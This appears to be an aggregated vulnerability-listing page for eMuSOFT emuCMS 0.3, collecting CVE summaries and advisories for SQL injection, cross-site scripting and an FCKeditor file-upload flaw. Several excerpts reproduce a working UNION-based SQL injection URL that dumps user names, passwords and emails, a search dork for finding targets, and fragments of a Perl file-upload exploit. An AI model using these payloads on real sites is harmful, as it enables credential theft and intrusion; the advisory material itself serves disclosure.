EUVD-2008-2884

Malware in sbrugna...

EUVD-2006-4809

Malware in sbrugna...

Sql injection

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

CVE-2008-2891

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

CVE-2008-2891

CVE-2008-2891 corresponds to a SQL injection in the PHP script implementing eMuSOFT’s emuCMS 0.3. The vulnerability is triggered via the cat_id parameter in a category action within index.php, allowing remote attackers to execute arbitrary SQL commands. The core issue is improper input handling i...

CVE-2008-2891

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

CVE-2008-2891: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in index.php in eMuSOFT emuCMS 0.3 allows remote attackers to execute arbitrary SQL commands via the catid parameter in a category action...

emuCMS 0.3 - FCKeditor Arbitrary File Upload

emuCMS 0.3 - FCKeditor Arbitrary File Upload !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...

emuCMS 0.3 (fckeditor) Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ==================================================== emuCMS 0.3 fckeditor Arbitrary File Upload Exploit ==================================================== !/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use...

emuCMS 0.3 - 'FCKeditor' Arbitrary File Upload

!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Request::Common; print ; print "Enter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST $url.'/admin/FCKeditor/editor/filemanager/upload/php/upload.php', ContentTyp...

emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability

No description provided by source. AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emucms-sql.txt

AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 - cat_id SQL Injection

emuCMS 0.3 - catid SQL Injection AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

emuCMS 0.3 (cat_id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== emuCMS 0.3 catid Remote SQL Injection Vulnerability ====================================================== Dork : Powered by emuCMS exploit :...

emuCMS 0.3 - 'cat_id' SQL Injection

AUTHOR : TurkishWarriorr HOME : http://www.1923turk.org Dork : Powered by emuCMS exploit : index.php?page=category&catid=-9999+union+all+select+1,concatuser,char58,passw ,char58,email,3,null,null,null,7,8,9,10,11,null +from+users-- Test Sites...

CVE-2006-4822

CVE-2006-4822 describes multiple cross-site scripting (XSS) vulnerabilities in the index.php file of eMuSOFT emuCMS 0.3 and earlier. The flaws allow remote attackers to inject arbitrary web script or HTML via the (1) query or (2) page parameters. The impact is typical for reflected/persistent XSS...

CVE-2006-4822

Multiple cross-site scripting XSS vulnerabilities in index.php in eMuSOFT emuCMS 0.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 query or 2 page parameters...

CVE-2006-4822: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in index.php in eMuSOFT emuCMS 0.3 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 query or 2 page parameters...

[SA21883] emuCMS "query" and "page" Cross-Site Scripting Vulnerabilities

TITLE: emuCMS "query" and "page" Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA21883 VERIFY ADVISORY: http://secunia.com/advisories/21883/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: emuCMS 0.x http://secunia.com/product/11953/ DESCRIPTION: Ivan...